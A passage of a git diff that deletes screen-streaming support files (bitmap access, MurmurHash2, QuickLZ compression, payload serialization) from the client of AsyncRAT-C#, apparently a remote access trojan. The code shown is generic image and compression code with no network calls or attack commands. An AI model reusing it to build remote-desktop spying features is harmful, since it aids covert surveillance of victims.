NotSupportedException(format + " is not supported."); - } - - this.bitmap = bitmap; - this.Width = this.bitmap.Width; - this.Height = this.bitmap.Height; - this.format = format; - Lock(); - BitmapCreatedAt = DateTime.Now; - } - - public FastBitmap(Bitmap bitmap) - { - this.format = bitmap.PixelFormat; - - switch (format) - { - case PixelFormat.Format32bppArgb: - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - case PixelFormat.Format8bppIndexed: - case PixelFormat.Format4bppIndexed: - case PixelFormat.Format1bppIndexed: - break; - default: - throw new NotSupportedException(format + " is not supported."); - } - - this.bitmap = bitmap; - this.Width = this.bitmap.Width; - this.Height = this.bitmap.Height; - this.format = format; - Lock(); - BitmapCreatedAt = DateTime.Now; - } - - public Color GetPixel(int x, int y) - { - byte* position = (byte*)bitmapData.Scan0.ToPointer(); - position += CalcOffset(x, y); - - byte A = position[3]; - byte R = position[2]; - byte G = position[1]; - byte B = position[0]; - return Color.FromArgb(A, R, G, B); - } - - public void SetPixel(int x, int y, Color color) - { - byte* position = (byte*)bitmapData.Scan0.ToPointer(); - position += CalcOffset(x, y); - - position[3] = color.A; - position[2] = color.R; - position[1] = color.G; - position[0] = color.B; - } - - public Color GetPixel(int x, int y, byte[] ImgData) - { - long offset = CalcOffset(x, y) + 4; - if (offset + 4 < ImgData.Length) - { - byte R = ImgData[offset]; - byte G = ImgData[offset + 1]; - byte B = ImgData[offset + 2]; - return Color.FromArgb(255, R, G, B); - } - return Color.FromArgb(255, 0, 0, 0); - } - public void SetPixel(int x, int y, Color color, byte[] ImgData) - { - long offset = CalcOffset(x, y) + 4; - if (offset + 4 < ImgData.Length) - { - ImgData[offset] = color.R; - ImgData[offset + 1] = color.G; - ImgData[offset + 2] = color.B; - ByteArrayToBitmap(ImgData); - } - } - - public void DrawRectangle(Point begin, Point end, Color color) - { - for (int x = begin.X; x < end.X; x++) - { - for (int y = begin.Y; y < end.Y; y++) - { - SetPixel(x, y, color); - } - } - } - - public Int64 CalcOffset(int x, int y) - { - switch (format) - { - case PixelFormat.Format32bppArgb: - return (y * bitmapData.Stride) + (x * 4); - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - return (y * bitmapData.Stride) + (x * 3); - case PixelFormat.Format8bppIndexed: - return (y * bitmapData.Stride) + x; - case PixelFormat.Format4bppIndexed: - return (y * bitmapData.Stride) + (x / 2); - case PixelFormat.Format1bppIndexed: - return (y * bitmapData.Stride) + (x * 8); - } - return 0; - } - - public static int CalcImageOffset(int x, int y, PixelFormat format, int width) - { - switch (format) - { - case PixelFormat.Format32bppArgb: - return (y * (width * 4)) + (x * 4); - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - return (y * (width * 3)) + (x * 3); - case PixelFormat.Format8bppIndexed: - return (y * width) + x; - case PixelFormat.Format4bppIndexed: - return (y * (width / 2)) + (x / 2); - case PixelFormat.Format1bppIndexed: - return (y * (width * 8)) + (x * 8); - default: - throw new NotSupportedException(format + " is not supported."); - } - } - - public void ScanPixelDuplicates(Point BeginPoint, ref Point EndPoint, ref Color RetColor) - { - Color curColor = GetPixel(BeginPoint.X, BeginPoint.Y); - for (int x = BeginPoint.X; x < this.Width; x++) - { - Color prevColor = GetPixel(x, BeginPoint.Y); - - if (curColor.R != prevColor.R || - curColor.G != prevColor.G || - curColor.B != prevColor.B) - { - EndPoint = new Point(x, BeginPoint.Y); - RetColor = curColor; - return; - } - } - - EndPoint = new Point(this.Width, BeginPoint.Y); - RetColor = curColor; - } - - public void Unlock() - { - if (IsLocked) - { - bitmap.UnlockBits(bitmapData); - IsLocked = false; - } - } - public void Lock() - { - if (!IsLocked) - { - bitmapData = bitmap.LockBits(new Rectangle(0, 0, Width, Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, format); - IsLocked = true; - } - } - - public byte[] ToByteArray() - { - int bytes = Math.Abs(bitmapData.Stride) * Height; - byte[] rgbValues = new byte[bytes]; - System.Runtime.InteropServices.Marshal.Copy(new IntPtr(bitmapData.Scan0.ToInt32()), rgbValues, 0, bytes); - return rgbValues; - } - - public void ByteArrayToBitmap(byte[] data) - { - System.Runtime.InteropServices.Marshal.Copy(data, 0, bitmapData.Scan0, data.Length); - } - - public void Dispose() - { - if (bitmap != null) - { - try { bitmap.UnlockBits(bitmapData); } - catch { } - try { bitmap.Dispose(); } - catch { } - try - { - bitmap = null; - bitmapData = null; - } - catch { } - } - } - - /// Get the byte points where to read from in a byte array - /// The beginning of the X, Y - /// The end of the X, Y - /// The size of the image - /// Slice the byte points into pieces to get the byte points faster - public static ArrayOffset[] GetBytePoints(Point beginPoint, Point endPoint, Size ImgSize, PixelFormat format) - { - List offsets = new List(); - - for (int y = beginPoint.Y; y < endPoint.Y; y++) - { - int BeginOffset = (int)FastBitmap.CalcImageOffset(beginPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (beginPoint.X * 4); - int EndOffset = (int)FastBitmap.CalcImageOffset(endPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (endPoint.X * 4); - - switch (format) - { - case PixelFormat.Format32bppArgb: - { - if (EndOffset + ((endPoint.X - beginPoint.X) * 4) >= (ImgSize.Width * ImgSize.Height) * 4) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 4), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - { - if (EndOffset + ((endPoint.X - beginPoint.X) * 3) >= (ImgSize.Width * ImgSize.Height) * 3) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 3), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - case PixelFormat.Format8bppIndexed: - { - if (EndOffset + ((endPoint.X - beginPoint.X)) >= (ImgSize.Width * ImgSize.Height)) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X)), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - case PixelFormat.Format4bppIndexed: - { - if (EndOffset + ((endPoint.X - beginPoint.X) / 2) >= (ImgSize.Width * ImgSize.Height) / 2) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) / 2), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - case PixelFormat.Format1bppIndexed: - { - if (EndOffset + ((endPoint.X - beginPoint.X) * 8) >= (ImgSize.Width * ImgSize.Height) * 8) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 8), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - default: - { - throw new NotSupportedException(format + " is not supported."); - } - } - - } - return offsets.ToArray(); - } - - /// Get the byte points in 2D - /// The beginning of the X, Y - /// The end of the X, Y - /// The size of the image - /// Slice the byte points into pieces to get the byte points faster - public static ArrayOffset[,][] Get2DBytePoints(Point beginPoint, Point endPoint, Size ImgSize, int SlicePieces, PixelFormat format) - { - int Width = endPoint.X - beginPoint.X; - int Height = endPoint.Y - beginPoint.Y; - - float Wsize = ((float)Width / (float)SlicePieces); - float Hsize = ((float)Height / (float)SlicePieces); - - //+1 just to make sure we are not going outside the array - if (Wsize - (int)Wsize > 0.0F) Wsize += 1.0F; - if (Hsize - (int)Hsize > 0.0F) Hsize += 1.0F; - - ArrayOffset[,][] ImageArrayOffsets = new ArrayOffset[(int)Hsize, (int)Wsize][]; - Point tmp = new Point(0, 0); - for (int y = beginPoint.Y; y < Height; y += SlicePieces) - { - for (int x = beginPoint.X; x < Width; x += SlicePieces) - { - ImageArrayOffsets[tmp.Y, tmp.X] = FastBitmap.GetBytePoints(new Point(x, y), new Point(x + SlicePieces, y + SlicePieces), ImgSize, format); - tmp.X++; - } - tmp.X = 0; - tmp.Y++; - } - return ImageArrayOffsets; - } - } - - public class ArrayOffset - { - public int BeginOffset { get; private set; } - public int EndOffset { get; private set; } - public int Stride { get; private set; } - public int X { get; private set; } - public int Y { get; private set; } - public int Width { get; private set; } - public int Height { get; private set; } - - public ArrayOffset(int begin, int end, int Stride, int x, int y, int width, int height) - { - this.BeginOffset = begin; - this.EndOffset = end; - this.Stride = Stride; - this.X = x; - this.Y = y; - this.Width = width; - this.Height = height; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs b/AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs deleted file mode 100644 index ba82bff..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs +++ /dev/null @@ -1,62 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using System.Text; - -namespace StreamLibrary.src -{ - public unsafe class MurmurHash2Unsafe - { - const UInt32 m = 0x5bd1e995; - const Int32 r = 24; - - public unsafe UInt32 Hash(Byte* data, int length) - { - if (length == 0) - return 0; - UInt32 h = 0xc58f1a7b ^ (UInt32)length; - Int32 remainingBytes = length & 3; // mod 4 - Int32 numberOfLoops = length >> 2; // div 4 - UInt32* realData = (UInt32*)data; - while (numberOfLoops != 0) - { - UInt32 k = *realData; - k *= m; - k ^= k >> r; - k *= m; - - h *= m; - h ^= k; - numberOfLoops--; - realData++; - } - switch (remainingBytes) - { - case 3: - h ^= (UInt16)(*realData); - h ^= ((UInt32)(*(((Byte*)(realData)) + 2))) << 16; - h *= m; - break; - case 2: - h ^= (UInt16)(*realData); - h *= m; - break; - case 1: - h ^= *((Byte*)realData); - h *= m; - break; - default: - break; - } - - // Do a few final mixes of the hash to ensure the last few - // bytes are well-incorporated. - - h ^= h >> 13; - h *= m; - h ^= h >> 15; - - return h; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs b/AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs deleted file mode 100644 index a76fb23..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace StreamLibrary.src -{ - public class PayloadWriter : IDisposable - { - public Stream vStream { get; set; } - public PayloadWriter() - { - vStream = new MemoryStream(); - } - public PayloadWriter(Stream stream) - { - vStream = stream; - } - - public void WriteBytes(byte[] value) - { - vStream.Write(value, 0, value.Length); - } - - public void WriteBytes(byte[] value, int Offset, int Length) - { - vStream.Write(value, Offset, Length); - } - - public void WriteInteger(int value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - - /// - /// A integer with 3 bytes not 4 - /// - public void WriteThreeByteInteger(int value) - { - WriteByte((byte)value); - WriteByte((byte)(value >> 8)); - WriteByte((byte)(value >> 16)); - } - - public void WriteUInteger(uint value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - - public void WriteShort(short value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteUShort(ushort value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteULong(ulong value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - - public void WriteByte(byte value) - { - vStream.WriteByte(value); - } - - public void WriteBool(bool value) - { - WriteByte(value ? (byte)1 : (byte)0); - } - - public void WriteDouble(double value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteLong(long value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteFloat(float value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteDecimal(decimal value) - { - BinaryWriter writer = new BinaryWriter(vStream); - writer.Write(value); - } - - public void WriteString(string value) - { - if (!(value == null)) - WriteBytes(System.Text.Encoding.Unicode.GetBytes(value)); - else - throw new NullReferenceException("value"); - vStream.WriteByte(0); - vStream.WriteByte(0); - } - - public int Length - { - get { return (int)vStream.Length; } - } - - public void Dispose() - { - vStream.Close(); - vStream.Dispose(); - vStream = null; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs b/AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs deleted file mode 100644 index 71ba44f..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace StreamLibrary.src -{ - /// - /// A helper class for pointers - /// - public class PointerHelper - { - private int _offset; - - public IntPtr Pointer - { - get; - private set; - } - - public int TotalLength { get; private set; } - - public int Offset - { - get { return _offset; } - set - { - if (value < 0) - throw new Exception("Offset must be >= 1"); - - if (value >= TotalLength) - throw new Exception("Offset cannot go outside of the reserved buffer space"); - - _offset = value; - } - } - - public PointerHelper(IntPtr pointer, int Length) - { - this.TotalLength = Length; - this.Pointer = pointer; - } - - /// - /// Copies data from Source to the current Pointer Offset - /// - public void Copy(IntPtr Source, int SourceOffset, int SourceLength) - { - if (CheckBoundries(this.Offset, SourceLength)) - throw new AccessViolationException("Cannot write outside of the buffer space"); - NativeMethods.memcpy(new IntPtr(this.Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), (uint)SourceLength); - } - - private bool CheckBoundries(int offset, int length) - { - return offset + length > TotalLength; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs b/AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs deleted file mode 100644 index bde4b98..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs +++ /dev/null @@ -1,487 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace StreamLibrary.src -{ - // QuickLZ data compression library - // Copyright (C) 2006-2011 Lasse Mikkel Reinhold - // lar@quicklz.com - // - // QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything - // released into public must be open source) or under a commercial license if such - // has been acquired (see http://www.quicklz.com/order.html). The commercial license - // does not cover derived or ported versions created by third parties under GPL. - // - // Only a subset of the C library has been ported, namely level 1 and 3 not in - // streaming mode. - // - // Version: 1.5.0 final - - public class SafeQuickLZ - { - public const int QLZ_VERSION_MAJOR = 1; - public const int QLZ_VERSION_MINOR = 5; - public const int QLZ_VERSION_REVISION = 0; - - // Streaming mode not supported - public const int QLZ_STREAMING_BUFFER = 0; - - // Bounds checking not supported Use try...catch instead - public const int QLZ_MEMORY_SAFE = 0; - - // Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values! - private const int HASH_VALUES = 4096; - private const int MINOFFSET = 2; - private const int UNCONDITIONAL_MATCHLEN = 6; - private const int UNCOMPRESSED_END = 4; - private const int CWORD_LEN = 4; - private const int DEFAULT_HEADERLEN = 9; - private const int QLZ_POINTERS_1 = 1; - private const int QLZ_POINTERS_3 = 16; - - private int headerLen(byte[] source, int offset) - { - return ((source[offset] & 2) == 2) ? 9 : 3; - } - - public int sizeDecompressed(byte[] source, int offset) - { - if (headerLen(source, offset) == 9) - return source[offset + 5] | (source[offset + 6] << 8) | (source[offset + 7] << 16) | (source[offset + 8] << 24); - else - return source[offset + 2]; - } - - public int sizeCompressed(byte[] source, int offset) - { - if (headerLen(source, offset) == 9) - return source[offset + 1] | (source[offset + 2] << 8) | (source[offset + 3] << 16) | (source[offset + 4] << 24); - else - return source[offset + 1]; - } - - private void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed) - { - dst[0] = (byte)(2 | (compressible ? 1 : 0)); - dst[0] |= (byte)(level << 2); - dst[0] |= (1 << 6); - dst[0] |= (0 << 4); - fast_write(dst, 1, size_decompressed, 4); - fast_write(dst, 5, size_compressed, 4); - } - - public byte[] compress(byte[] source, int Offset, int Length, int level) - { - int src = Offset; - int dst = DEFAULT_HEADERLEN + CWORD_LEN; - uint cword_val = 0x80000000; - int cword_ptr = DEFAULT_HEADERLEN; - byte[] destination = new byte[Length + 400]; - int[,] hashtable; - int[] cachetable = new int[HASH_VALUES]; - byte[] hash_counter = new byte[HASH_VALUES]; - byte[] d2; - int fetch = 0; - int last_matchstart = (Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1); - int lits = 0; - - if (level != 1 && level != 3) - throw new ArgumentException("C# version only supports level 1 and 3"); - - if (level == 1) - hashtable = new int[HASH_VALUES, QLZ_POINTERS_1]; - else - hashtable = new int[HASH_VALUES, QLZ_POINTERS_3]; - - if (Length == 0) - return new byte[0]; - - if (src <= last_matchstart) - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - - while (src <= last_matchstart) - { - if ((cword_val & 1) == 1) - { - if (src > Length >> 1 && dst > src - (src >> 5)) - { - d2 = new byte[Length + DEFAULT_HEADERLEN]; - write_header(d2, level, false, Length, Length + DEFAULT_HEADERLEN); - System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, Length); - return d2; - } - - fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); - cword_ptr = dst; - dst += CWORD_LEN; - cword_val = 0x80000000; - } - - if (level == 1) - { - int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - int o = hashtable[hash, 0]; - int cache = cachetable[hash] ^ fetch; - cachetable[hash] = fetch; - hashtable[hash, 0] = src; - - if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] && - source[src] == source[src - 2] && source[src] == source[src - 1] && - source[src] == source[src + 1] && source[src] == source[src + 2]))) - { - cword_val = ((cword_val >> 1) | 0x80000000); - if (source[o + 3] != source[src + 3]) - { - int f = 3 - 2 | (hash << 4); - destination[dst + 0] = (byte)(f >> 0 * 8); - destination[dst + 1] = (byte)(f >> 1 * 8); - src += 3; - dst += 2; - } - else - { - int old_src = src; - int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1)); - - src += 4; - if (source[o + src - old_src] == source[src]) - { - src++; - if (source[o + src - old_src] == source[src]) - { - src++; - while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining) - src++; - } - } - - int matchlen = src - old_src; - - hash <<= 4; - if (matchlen < 18) - { - int f = (hash | (matchlen - 2)); - destination[dst + 0] = (byte)(f >> 0 * 8); - destination[dst + 1] = (byte)(f >> 1 * 8); - dst += 2; - } - else - { - fast_write(destination, dst, hash | (matchlen << 16), 3); - dst += 3; - } - } - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - lits = 0; - } - else - { - lits++; - hash_counter[hash] = 1; - destination[dst] = source[src]; - cword_val = (cword_val >> 1); - src++; - dst++; - fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16); - } - - } - else - { - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - - int o, offset2; - int matchlen, k, m, best_k = 0; - byte c; - int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1)); - int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - - c = hash_counter[hash]; - matchlen = 0; - offset2 = 0; - for (k = 0; k < QLZ_POINTERS_3 && c > k; k++) - { - o = hashtable[hash, k]; - if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET) - { - m = 3; - while (source[o + m] == source[src + m] && m < remaining) - m++; - if ((m > matchlen) || (m == matchlen && o > offset2)) - { - offset2 = o; - matchlen = m; - best_k = k; - } - } - } - o = offset2; - hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src; - c++; - hash_counter[hash] = c; - - if (matchlen >= 3 && src - o < 131071) - { - int offset = src - o; - - for (int u = 1; u < matchlen; u++) - { - fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16); - hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - c = hash_counter[hash]++; - hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u; - } - - src += matchlen; - cword_val = ((cword_val >> 1) | 0x80000000); - - if (matchlen == 3 && offset <= 63) - { - fast_write(destination, dst, offset << 2, 1); - dst++; - } - else if (matchlen == 3 && offset <= 16383) - { - fast_write(destination, dst, (offset << 2) | 1, 2); - dst += 2; - } - else if (matchlen <= 18 && offset <= 1023) - { - fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2); - dst += 2; - } - else if (matchlen <= 33) - { - fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3); - dst += 3; - } - else - { - fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4); - dst += 4; - } - lits = 0; - } - else - { - destination[dst] = source[src]; - cword_val = (cword_val >> 1); - src++; - dst++; - } - } - } - while (src <= Length - 1) - { - if ((cword_val & 1) == 1) - { - fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); - cword_ptr = dst; - dst += CWORD_LEN; - cword_val = 0x80000000; - } - - destination[dst] = source[src]; - src++; - dst++; - cword_val = (cword_val >> 1); - } - while ((cword_val & 1) != 1) - { - cword_val = (cword_val >> 1); - } - - fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN); - write_header(destination, level, true, Length, dst); - d2 = new byte[dst]; - System.Array.Copy(destination, d2, dst); - return d2; - } - - - private void fast_write(byte[] a, int i, int value, int numbytes) - { - for (int j = 0; j < numbytes; j++) - a[i + j] = (byte)(value >> (j * 8)); - } - - public byte[] decompress(byte[] source, int Offset, int Length) - { - int level; - int size = sizeDecompressed(source, Offset); - int src = headerLen(source, Offset) + Offset; - int dst = 0; - uint cword_val = 1; - byte[] destination = new byte[size]; - int[] hashtable = new int[4096]; - byte[] hash_counter = new byte[4096]; - int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1; - int last_hashed = -1; - int hash; - uint fetch = 0; - - level = (source[Offset] >> 2) & 0x3; - - if (level != 1 && level != 3) - throw new ArgumentException("C# version only supports level 1 and 3"); - - if ((source[Offset] & 1) != 1) - { - byte[] d2 = new byte[size]; - System.Array.Copy(source, headerLen(source, Offset), d2, Offset, size); - return d2; - } - - for (; ; ) - { - if (cword_val == 1) - { - cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); - src += 4; - if (dst <= last_matchstart) - { - if (level == 1) - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); - else - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); - } - } - - if ((cword_val & 1) == 1) - { - uint matchlen; - uint offset2; - - cword_val = cword_val >> 1; - - if (level == 1) - { - hash = ((int)fetch >> 4) & 0xfff; - offset2 = (uint)hashtable[hash]; - - if ((fetch & 0xf) != 0) - { - matchlen = (fetch & 0xf) + 2; - src += 2; - } - else - { - matchlen = source[src + 2]; - src += 3; - } - } - else - { - uint offset; - if ((fetch & 3) == 0) - { - offset = (fetch & 0xff) >> 2; - matchlen = 3; - src++; - } - else if ((fetch & 2) == 0) - { - offset = (fetch & 0xffff) >> 2; - matchlen = 3; - src += 2; - } - else if ((fetch & 1) == 0) - { - offset = (fetch & 0xffff) >> 6; - matchlen = ((fetch >> 2) & 15) + 3; - src += 2; - } - else if ((fetch & 127) != 3) - { - offset = (fetch >> 7) & 0x1ffff; - matchlen = ((fetch >> 2) & 0x1f) + 2; - src += 3; - } - else - { - offset = (fetch >> 15); - matchlen = ((fetch >> 7) & 255) + 3; - src += 4; - } - offset2 = (uint)(dst - offset); - } - - destination[dst + 0] = destination[offset2 + 0]; - destination[dst + 1] = destination[offset2 + 1]; - destination[dst + 2] = destination[offset2 + 2]; - - for (int i = 3; i < matchlen; i += 1) - { - destination[dst + i] = destination[offset2 + i]; - } - - dst += (int)matchlen; - - if (level == 1) - { - fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16)); - while (last_hashed < dst - matchlen) - { - last_hashed++; - hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1)); - hashtable[hash] = last_hashed; - hash_counter[hash] = 1; - fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16); - } - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); - } - else - { - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); - } - last_hashed = dst - 1; - } - else - { - if (dst <= last_matchstart) - { - destination[dst] = source[src]; - dst += 1; - src += 1; - cword_val = cword_val >> 1; - - if (level == 1) - { - while (last_hashed < dst - 3) - { - last_hashed++; - int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16); - hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1); - hashtable[hash] = last_hashed; - hash_counter[hash] = 1; - } - fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16); - } - else - { - fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24); - } - } - else - { - while (dst <= size - 1) - { - if (cword_val == 1) - { - src += CWORD_LEN; - cword_val = 0x80000000; - } - - destination[dst] = source[src]; - dst++; - src++; - cword_val = cword_val >> 1; - } - return destination; - } - } - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs b/AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs deleted file mode 100644 index ab62e1f..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs +++ /dev/null @@ -1,177 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.Runtime.InteropServices; -using System.Text; - -namespace StreamLibrary.src -{ - public unsafe class SimpleBitmap - { - private object ProcessingLock = new object(); - - public SimpleBitmapInfo Info { get; internal set; } - public bool Locked { get { return Scan0 == IntPtr.Zero ? false : true; } } - public IntPtr Scan0 { get; internal set; } - public int Scan0_int { get; internal set; } - public BitmapData bitmapData { get; internal set; } - public Bitmap bitMap { get; set; } - - public class SimpleBitmapInfo - { - public SimpleBitmapInfo() - { - Clear(); - } - public SimpleBitmapInfo(BitmapData data) - { - Load(data); - } - public int Stride { get; protected set; } - public int PixelSize { get; protected set; } - public int Width { get; protected set; } - public int Height { get; protected set; } - - public int TotalSize { get; protected set; } - - internal void Clear() - { - Stride = 0; PixelSize = 0; Width = 0; Height = 0; TotalSize = 0; - } - internal void Load(BitmapData data) - { - Width = data.Width; Height = data.Height; Stride = data.Stride; - - PixelSize = Math.Abs(data.Stride) / data.Width; - TotalSize = data.Width * data.Height * PixelSize; - } - } - - public static bool Compare(Rectangle block, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) - { - int calc = 0; - int WidthSize = block.Width * sharedInfo.PixelSize; - - calc = (block.Y) * sharedInfo.Stride + block.X * sharedInfo.PixelSize; - - for (int i = 0; i < block.Height; i++) - { - if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)WidthSize) != 0) - return false; - calc += sharedInfo.Stride; - } - return true; - } - public static bool Compare(int y, int rowsize, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) - { - int calc = 0; - int Size = sharedInfo.Width * sharedInfo.PixelSize * rowsize; - - calc = y * sharedInfo.Stride; - - if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)Size) != 0) - return false; - return true; - } - public static bool FastCompare(int offset, int size, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) - { - if (NativeMethods.memcmp((byte*)(ptr1 + offset), (byte*)(ptr2 + offset), (uint)size) != 0) - return false; - return true; - } - - public unsafe void CopyBlock(Rectangle block, ref byte[] dest) - { - int calc = 0; - int WidthSize = block.Width * Info.PixelSize; - int CopyOffset = 0; - int scan0 = Scan0.ToInt32(); - int destSize = WidthSize * block.Height; - - if (dest == null || dest.Length != destSize) - dest = new byte[destSize]; - - calc = (block.Y) * Info.Stride + block.X * Info.PixelSize; - - fixed (byte* ptr = dest) - { - for (int i = 0; i < block.Height; i++) - { - NativeMethods.memcpy(new IntPtr(ptr + CopyOffset), new IntPtr(scan0 + calc), (uint)WidthSize); - calc += Info.Stride; - CopyOffset += WidthSize; - } - } - } - - public SimpleBitmap() - { - Scan0 = IntPtr.Zero; - bitmapData = null; - bitMap = null; - - Info = new SimpleBitmapInfo(); - } - public SimpleBitmap(Bitmap bmp) - { - this.bitMap = bmp; - } - - public void Lock() - { - if (Locked) - throw new Exception("Already locked"); - - lock (ProcessingLock) - { - bitmapData = bitMap.LockBits(new Rectangle(0, 0, bitMap.Width, bitMap.Height), ImageLockMode.ReadWrite, bitMap.PixelFormat); - - Info = new SimpleBitmapInfo(bitmapData); - - Scan0 = bitmapData.Scan0; - Scan0_int = Scan0.ToInt32(); - } - } - public void Unlock() - { - if (!Locked) - throw new Exception("Nothing to unlock"); - - lock (ProcessingLock) - { - Scan0 = IntPtr.Zero; - Scan0_int = 0; - - Info.Clear(); - bitMap.UnlockBits(bitmapData); - bitmapData = null; - } - } - public unsafe void PlaceBlockAtRectange(byte[] block, Rectangle loc) - { - int CopySize = Info.PixelSize * loc.Width; - int OffsetX = loc.X * Info.PixelSize; - int TotalCopied = 0; - - fixed (byte* ptr = block) - { - for (int i = 0; i < loc.Height; i++) - { - NativeMethods.memcpy(new IntPtr(Scan0_int + ((loc.Y + i) * Info.Stride + OffsetX)), new IntPtr(ptr + TotalCopied), (uint)CopySize); - TotalCopied += CopySize; - } - } 